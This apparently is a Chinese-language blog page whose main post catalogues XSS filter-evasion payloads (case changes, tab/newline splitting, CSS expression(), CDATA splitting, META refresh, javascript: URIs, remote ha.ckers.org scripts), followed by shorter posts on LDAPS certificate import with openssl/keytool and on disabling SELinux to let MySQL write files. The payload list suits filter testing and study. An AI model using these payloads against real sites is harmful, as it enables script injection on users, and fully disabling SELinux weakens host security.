[Security] XSS攻擊手法介紹

1. 改變字元大小寫
    alert(‘d’)

2. 利用多加一些其它字元來規避Regular Expression的檢查
    <alert(‘c’)//
    http://t.js
    " SRC="t.js">
    http://t.js
    ‘" SRC="t.js">
    ` SRC="t.js">
    http://t.js

3. 以其它副檔名取代.js
    http://bad.jpg

4. 將Javascript寫在CSS檔裡
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
       example:
          body {
               background-image: url(‘javascript:alert(“XSS");’)
          }

5. 在script的tag裡加入一些其它字元
   
    http://t.js

6. 使用tab或是new line來規避
    <img src="jav ascr ipt:alert(‘XSS3’)">
    <img src="jav ascr ipt:alert(‘XSS3’)">
    <IMG SRC="jav ascript:alert(‘XSS’);">
         -> tag
         -> new line

7. 使用"\"來規避
    <STYLE>@im\port’\ja\vasc\ript:alert(“XSS32″)’;</STYLE>
    <IMG STYLE=’xss:expre\ssion(alert(“XSS33″))’>
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31’));">
    <A STYLE=’no\xss:noxss(“*//*"); xss:ex/*XSS*//*/*/pression(alert(“XSS"))’>

8. 使用Hex encode來規避(也可能會把";"拿掉)
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31’));">
        原始碼:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31’));">

    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
        原始碼:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">

9. script in HTML tag
    <body onload=」alert(‘onload’)」>
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload

10. 在swf裡含有xss的code
    http://ha.ckers.org/xss.swf

11. 利用CDATA將xss的code拆開,再組合起來。
    <XML ID=I><X><C>
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(‘XSS’);">]]>
    </C></X>
    </xml>
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

12. 利用HTML+TIME。
    <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2″>
    <t:set attributeName="innerHTML" to="anywordalert(“XSS")">
    </BODY></HTML>

13. 透過META寫入Cookie。
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=alert(‘XSS’)">

14. javascript in src , href , url
   
    <img src="javascript:alert(‘XSS3’)">
    <IMG DYNSRC="javascript:alert(‘XSS20’)">
    <IMG LOWSRC="javascript:alert(‘XSS21’)">
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24’);">
   
    <TABLE BACKGROUND="javascript:alert(‘XSS29’)">
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30’))">
    <STYLE TYPE="text/css">.XSS{background image:url(“javascript:alert(‘XSS35’)");}
    </STYLE><A CLASS=XSS></A>
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>

文章來源: Cross Site Scripting(XSS)攻擊手法介紹
http://htmlpurifier.org/live/smoketests/xssAttacks.php
廣告

Web Security

HTTP Headers的資安議題:
http://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/

防止CSRF攻擊:
http://blog.jdriven.com/2014/10/stateless-spring-security-part-1-stateless-csrf-protection/

幫Spring Security加上x-auth-token:
http://blog.jdriven.com/2014/10/stateless-spring-security-part-2-stateless-authentication/

弱點掃描軟體:
Burp Suite / N-Stalker / nessus

Authentication using certificates, Tomcat and Spring security

Use LDAPS for Spring Security:
http://l-lin.github.io/2014/09/09/Auth_with_certificates_Tomcat_spring/

– 顯示LDAPS certificate:
openssl s_client -showcerts -connect myserver:636
– 存成X509 certificate檔:
echo -n | openssl s_client -connect myserver:636 | sed -ne ‘/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p’ > myserver.crt

– 儲存certificate到JRE: (預設密碼:changeit)
keytool -import -keystore /opt/jdk7/jre/lib/security/cacerts -alias myserver -file myserver.crt
– 刪除certificate:
keytool -delete -alias myserver -keystore /opt/jdk7/jre/lib/security/cacerts -storepass changeit

– Client certificate over SSL
http://stackoverflow.com/questions/875467/java-client-certificates-over-https-ssl

-Djavax.net.ssl.keyStoreType=pkcs12
-Djavax.net.ssl.trustStoreType=jks
-Djavax.net.ssl.keyStore=clientcertificate.p12
-Djavax.net.ssl.trustStore=gridserver.keystore
-Djavax.net.debug=ssl # very verbose debug
-Djavax.net.ssl.keyStorePassword=$PASS
-Djavax.net.ssl.trustStorePassword=$PASS

[Linux] 解決 mysql 無法寫出檔案問題

在red hat系列的linux中selinux對哪些daemon可以進行怎麼樣的操作是有限制的,mysql的select into outfile的命令是mysql的daemon來負責寫文件操作的。寫檔之前當然要具有寫檔的許可權。而selinux對這個許可權做了限制。如果selinux是關閉的吧,這個命令執行是沒有問題的
mysql> select user from user into outfile ‘/home/test.txt’;
Query OK, 2 rows affected (0.02 sec)
當時selinux開啟時
selinux對mysql的守護進程mysqld進行了限制。
mysql> select user from user into outfile ‘/home/test.txt’;
ERROR 1 (HY000): Can’t create/write to file ‘/home/test.txt’ (Errcode: 13)
出現了沒有許可權寫的error。
解決方法,可以關閉selinux。
可以在/etc/selinux中找到config
root用戶,
shell>vi /etc/selinux/config

# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing – SELinux security policy is enforced.
# permissive – SELinux prints warnings instead of enforcing.
# disabled – SELinux is fully disabled.
SELINUX=enforcing

修改SELINUX=disabled關閉selinux就可以了,這個問題就可以解決了。
不過全部關閉SELINUX有帶來一些安全問題。
當然也可以,單獨給mysql的守護進程許可權,
shell>getsebool -a可以查看當前的對系統一系列守護進程的許可權情況。

lpd_disable_trans –> off
mail_read_content –> off
mailman_mail_disable_trans –> off
mdadm_disable_trans –> off
mozilla_read_content –> off
mysqld_disable_trans –> off
nagios_disable_trans –> off
named_disable_trans –> off
named_write_master_zones –> off
nfs_export_all_ro –> on
nfs_export_all_rw –> on
nfsd_disable_trans –> off
nmbd_disable_trans –> off
nrpe_disable_trans –> off

shell>setsebool -P mysqld_disable_trans=1
開啟對mysql守護進程的許可權,這樣
mysql> select user from user into outfile ‘/home/test.txt’;
寫入到自訂的目錄就沒有問題了。
-P表示 是永久性設置,否則重啟之後又恢復預設值。
getsebool setsebool命令在root用戶下有許可權。

除了對selinux的許可權,當然首先要保證該目錄擁有讀寫許可權。
在ubuntu下 ,可以對AppArmor(/etc/apparmor.d/usr.sbin.mysqld) 修改,類似selinux。
添加/etc/squid/lists/eighties.txt w,類似。

延伸閱讀:http://www.fromdual.com/mysql-and-secure-linux-selinux